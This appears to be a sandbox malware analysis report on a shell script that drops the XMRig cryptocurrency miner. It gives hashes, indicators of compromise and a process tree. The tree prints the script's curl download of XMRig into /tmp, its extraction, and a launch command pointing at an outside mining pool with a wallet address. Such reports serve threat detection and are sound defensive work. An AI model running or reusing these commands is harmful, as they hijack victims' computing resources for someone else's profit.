xmrig | 3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415

Analysis

max time kernel
51s
max time network
52s
platform
debian-9_mips
resource
debian9-mipsbe-20240226-en
resource tags

arch:mipsimage:debian9-mipsbe-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
20-03-2024 21:37

Target

start.sh
Size

587B
MD5

60908850cbaa3ea10f537854675c5017
SHA1

ff4713b46e81dbe16a83efd12b0c274ee8f84893
SHA256

3a9ef4c00e2aa7392ee7694a97369c4704a2558c5e3f60d0d4c08d85edb40415
SHA512

eec5e1b0c381b01b1866925dd5f593ed658215ca88cf9d3eee711e96d6617434896cf12b297e81fbc2e42eb01a474ff92473ac43ad639f23a515a5958084c407

Score

10^/10

xmrig miner

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral4/files/fstream-3.dat	family_xmrig
behavioral4/files/fstream-3.dat	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/xmrig-6.21.1/xmrig	746	xmrig

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	tar

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xmrig-6.21.1-linux-static-x64.tar.gz	curl

/tmp/start.sh
/tmp/start.sh
1⤵
PID:703
- /usr/bin/curl
  curl -L https://github.com/xmrig/xmrig/releases/download/v6.21.1/xmrig-6.21.1-linux-static-x64.tar.gz -o xmrig-6.21.1-linux-static-x64.tar.gz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:708
- /bin/tar
  tar -xvf xmrig-6.21.1-linux-static-x64.tar.gz
  2⤵
  - Reads runtime system information
  PID:740
- - /usr/local/sbin/gzip
    gzip -d
    3⤵
    PID:741
- - /usr/local/bin/gzip
    gzip -d
    3⤵
    PID:741
- - /usr/sbin/gzip
    gzip -d
    3⤵
    PID:741
- - /usr/bin/gzip
    gzip -d
    3⤵
    PID:741
- - /sbin/gzip
    gzip -d
    3⤵
    PID:741
- - /bin/gzip
    gzip -d
    3⤵
    PID:741
- /tmp/xmrig-6.21.1/xmrig
  ./xmrig --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
  2⤵
  - Executes dropped EXE
  PID:746

/tmp/xmrig-6.21.1-linux-static-x64.tar.gz

Filesize
1.3MB

MD5
de440ca82c0bc3397a003cb61e293ea1

SHA1
8b0d9ce9f5b9820c8d07b03e28661fa7b73a68a8

SHA256
7f8bc7b3d0f0f2d6ef1316797b9dd13e3c96afbbe5da4c20598d106b0ec0bf8e

SHA512
42c8281bd70bae9f7936feb9d99b0144941a39120a29ca324688c14b86d8b7ca1b1d5db887925bf6a7637c103648194ce81599f8adb7e83d30607d55a56b313f

Download Submit
/tmp/xmrig-6.21.1/SHA256SUMS

Filesize
150B

MD5
aa5b108a656f868047990ffe924da82b

SHA1
118a8199507eb3eb40c03520b5b3b774e86cb40b

SHA256
0cd87c42d76e181e459e855fa1be19a8ba0add9378aa25cfa70c815c9b0967dd

SHA512
9fc3807efbb407163322bfcdd4415c114013bd2a8f89daca715b2cca2514e9d6f404d42bfd76c141784c64f4594e6bbf4c6551a58691eb961bc6740e15d1800d

Download Submit
/tmp/xmrig-6.21.1/config.json

Filesize
2KB

MD5
66f38c96a4901e7b345787c447842b3e

SHA1
2aa9b4d1bd2edd5d81bd9725e9318edaee67531f

SHA256
2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

SHA512
71757fad29d6d2a257362ed28cde9f249cc8a14e646dee666c9029ea97c72de689cdf8ed5cf0365195a6a6831fe77d82efe5e2fa555c6cc5078f1f29ae8dd68f

Download Submit
/tmp/xmrig-6.21.1/xmrig

Filesize
756KB

MD5
b22f425d3e4c906c416d8112ca795879

SHA1
fcca18915bd7572da0f72a912ca2eb9654280d54

SHA256
6a9cef401192e471bfe4ac0d79cb4897bd235bff53fcdc42fb66ea9af2a228bb

SHA512
65dc7fa886593b46c1c97bc51d819b4689414cb75ab728d11d05330f8a77ab6e9befe8df03d04b86d52695a8bf3e220534cadbd3694d3d354267e21e28a7279e

Download Submit